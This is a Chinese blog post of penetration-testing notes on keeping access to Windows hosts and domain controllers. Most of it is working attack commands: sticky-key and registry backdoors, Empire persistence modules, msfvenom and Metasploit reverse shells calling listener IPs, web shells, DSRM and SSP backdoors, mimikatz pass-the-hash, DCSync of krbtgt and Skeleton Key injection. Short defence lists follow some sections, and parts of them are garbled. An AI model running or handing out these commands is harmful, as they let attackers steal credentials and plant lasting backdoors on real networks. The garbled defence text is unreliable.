权限维持

操作系统后门

粘滞键后门

手上

安全模式下

  • 工作组的命令框

复制粘贴cmd.exe 然后就直接打开了

  • 域用户的命令框

把cmd复制一份改成粘滞键的名字

进入到登录页面 就可以创建域用户

进入系统

用可执行文件sethc.exe.bak替换windows\systdm32目录下的sethc.exe

cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe 
#连续按5次shift键,将弹出命令行窗口。可以直接以system权限执行系统命令

Empire

前提得是*用户,过UAC,system权限才行

usemodule lateral_movement/invoke_wmi_debugger
info
set Listener dayu
set ComputerName user1.xiyou.dayu.com (计算机名)
set TargetBinary sethc.exe
execute

执行完execute被攻击方电脑会一闪而过CMD终端窗口!
最后,在目标系统上连续按5次shift键触发后门:

粘滞键后门防范措施

1.在远程登录服务器时,连续按5次“"Shift”键,判断服务器是否被人侵。
2.拒绝使用setch.exe或者在“控制面板”中关闭“启用粘滞键”选项

注册表后门

手上

在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Run:该项下的键值即为开机启动项,每-次随着开机而启动

运行输入:regedit.exe

Empire

输入usemodule persistence/userland/registry命令模块

运行后,会在目标主机的启动项里增加一个命令

usemodule persistence/userland/registry
set Listener dayu
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute

当管理员登陆系统时,后门就会运行,反弹成功!

注销或者重启后,后门就自动运行了

进入桌面自动闪过cmd命令框

kali就上线了!

注册表后门防范措施

杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示内容, 采取相应的措施,即可删除此类后门

计划任务后门

手上

计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8版本开始的操作系 统中使用schtasks命令调用。

计划任务后门分为管理员权限普通用户权限两种。管理员权限的后门 可以设置更多的计划任务,例如重启后运行等。
计划任务后门的基本命令如下。该命令表示每小时执行一次notepad.exe

schtasks /Create /tn Updater /tr notepad.exe /sc MINUTE /mo 1

在这里插入图片描述

删除话 这个命令就可以

schtasks /Delete /tn Updater

MSF

使用Poweshell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因 为该行为不会被写入磁盘,所以安全防护软件不会对该行为进行检测

use exploit/multi/script/web_delivery 
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.253.9
set lport 443
set URIPATH /
exploit

Empire

设置DailyTime和Listener参数,到了设置的时间,将执行sec计划,将返回一个高权限的shell:

usemodule persistence/elevated/schtasks
set DailyTime 15:36
set Listener dayu
execute

计划任务后门防范措施

有效的防范措施是:

  • 安装安全防护软件并对系统进行扫描
  • 及时为系统打补丁
  • 在内网中使用强度较高的密码

MSF后门

  • 生成exe的马儿
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.9 LPORT=4444 -f exe>1.exe
  • 开启监听
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_ tcp; set lhost 192.168.253.27; set lport 4444; exploit -j;"
  • 执行后门上线
  • 查看帮助
run persistence -h

在这里插入图片描述

  • 创建服务
run persistence -S -U -X -i 5 -p 443 -r IP

这里要注意的是

使用了-S 这个参数

需要(system)权限才能执行创建

不管关机 重启后都可以上线

wmi型后门

在 Empire 下使用Invoke-WMI 模块:

先进行搜索

searchmodule wmi

是有多个模块的

usemodule persistence/elevated/wmi
info
set DailyTime 16:10
set Listener dayu
run

检测后门

在powershell下

Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer -FILTER "Name='Updater'"

在这里插入图片描述
这样就是没有的

清除WMI后门得到方法

删除自动运行列表中的恶意WMI条目
在powershell中用get-wmiobject命令删除与WMI持久化的组件

web后门

weevely后门

功能

1.执行命令和测览远程文件
2.检测常见的服务器配置问题
3.创建 TCP Shell 和 Reverse Shell
4.打扫描端口
5.安装HTTP代理

使用

weevely [cmd] #连接一句话
weevely session cmd #加载会话文件
weevely generate # 生成后门代理,一般用这个

webacco后门

  • 安装
apt install webacoo
  • 生成shell
webacoo -g -o 123.php
  • 连接后门

webacoo -t -u http://192.168.x.x/123.php

域控制器权限持久化

DSRM域后门

DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)

DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在 域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutiI命令行工具。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。

  • 如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。
  • 在 Windows Server 2008以后版本的系统中不需要安装此补丁。
  • 如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作

我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)DSRM账号可以 作为一个域控制器的本地管理品用户,通过网络连接城控制器,进而控制域控制器。

简单来讲 就是当初创建域的时候:键入目录还原的(DSRM)密码

修改DSRM密码

第一种

在域控制器上打开命令行环境

1. NTDSUTIL: 登录ntdsutil
2. set dsrm password #设置DSRM密码
3. reset password on server null #在当前域控服务器上恢复DSRM密码
4. <PASSWORD> # 修改后的密码
5. q # 退出密码设置模式
6. q # 退出NTDSUTIL模式

修改成功 用ipc登录尝试

这里是登录不上的 因为域控默认是禁用DSRM的

第二种

简单来讲 就是用krbtgt用户的NTLM hash覆盖administrator用户的NTLM hash

ntdsutil
set dsrm password
sync from domain account krbtgt
q
q

可以进行查看是否成功

lsadump::sam
lsadump::lsa /patch /name:krbtgt

DSRM的三种登录方式

  • 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。

如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2

powershell下执行

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlog
onbehavior" -value 2 -propertyType DWORD

使用DSRM账号通过网络远程登录域控制器

使用mimikatz进行哈希传递,在域成员机器的管理模式下打开mimikatz:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:xxx /ntlm:xxx

使用Mimikatz的scysnc功能远程转储krbtgt的NTML Hash

哈希传递攻击完成后

弹出命令窗口 在该窗口下打开mimikatz

lsadump::dcsync /domain:xiyou.dayu.com /dc:dc /user:krbtgt

DSRM域后门防御措施

  • 定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除该键值
  • 定期修改城中所有城控制器的DSRM账号。
  • 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

SSP维持域控权限

利用mimikatz 注入

使用mimikatz将伪造的SSP注入内存。这样做不会在系统中留下二进制文件

但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

在实际网络维护中,可以针对这一点采取相 应的防御措施。

在域控制器中以管理员权限打开mimikatz,分别输入如下命令:

privilege::debug
misc::memssp

注销一下

密码存储在日志文件 C:\Windows\System32\mimilsa.log

利用mimikatz下的mimicom.idl文件(现在被查杀)

将它复制到System32文件目录下
并将 mimilib添加到注册表中就可以了修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages项,加载新的DLL文件!

就是powershell下的两条命令

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

覆盖掉就可以了

重启一下

系统重启后,如果DLL被成功加载,用户在登录时输入的账户密码明文就会被记录在 C:\windows\system32\kiwissp.log

防御措施

SSP维持域控制器权限的防御措施
1.检查 HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的 DLL 文件。
2.检查C:WindowsSystem32\目录下是否有可疑的DLL文件。
3.使用第三方工具检查LSA中是否有可疑的DLL文件。

SID History后门

就是黄金和白银票据

这里就不再阐述了

SID History后门优势

SID History域后门的防御措施
1.可以通过注入SID History属性完成持久化任务。
2.拥有高权限SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit。
3.如果不再需要通过SID History属性实现持久化,可以使用sid::clear /sam:username清除SID Hi story的属性。

SID History后门防范措施

  • 经常查看域用户中SID为500的用户。
  • 完成域迁移工作后,对有相同SID History属性的用户进定期3.定期检查ID为4765和4766的日志。4765 为将SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。

Skeleton Key

手工

就是万能密码

在域控制器中管理员权限打开mimikatz,将Skeleton Key注入域控中的Isass.exe进程

privilege::debug
misc::skeleton

注入成功后,会在域内所有的账号中添加一个Skeleton Key,默认密码为mimikatz。

接下来可以 在域内任意用户的身份,配合该SkeletonKey,进行域内身份验证授权了

使用计算机全名是可以登录的

net use \\xiyou.xiyou.dayu.com\ipc$ "mimikatz" /user:xiyou.dayu.com\administrator

Empire

interact KFSV7YB1 # 进入agent
usemodule persistence/misc/skeleton_key
execute

将skeleton_key注入后,empire提示可以通过mimikatz进入系统

Skeleton Key防范措施

2014年,微软在Window s操作系统中增加了 LSA保护策略,以防止Isass.cx e进程被恶意注入。从而防止mimikatz在非允作的情况下提升到debug权限。

通用的Skeleton Key的防御措施列举如下:
1.域管理员用户要设置强口令,确保恶意代码不会在城控制器中执行。
2.在所有城用户中启用双因子认证,例如智能卡认证。
3.启动(例如应用程序白名单例如AppLocker以限制mimikatz在域控制器中的运行。
4.在日常网络维护中注意以下方面,也可以有效防范Skeleton Key
5.只能在64位操作系统中使用,包括WinwnSren2012、Winds Sener 2012、Windows Sever 200 Wind ows Sever 2008 R2、 WindowServer 2003 R2、 Windows Server 2003。
6.只有具有城管理员权限的用户可以将SleloKe。注人城控制器的lass cxe进程。
7.Seleton Key被注人后,用户使用现有的密码仍然可以登录系统。
8.因为Seleton Key是被注入lsass.exeex e进程的,所以它只存在于内存中。如果域控制器重启,注人的Skeleton Key将会失效

ok 基本就总结到这里

猜你喜欢

转载自blog.csdn.net/wo41ge/article/details/115057405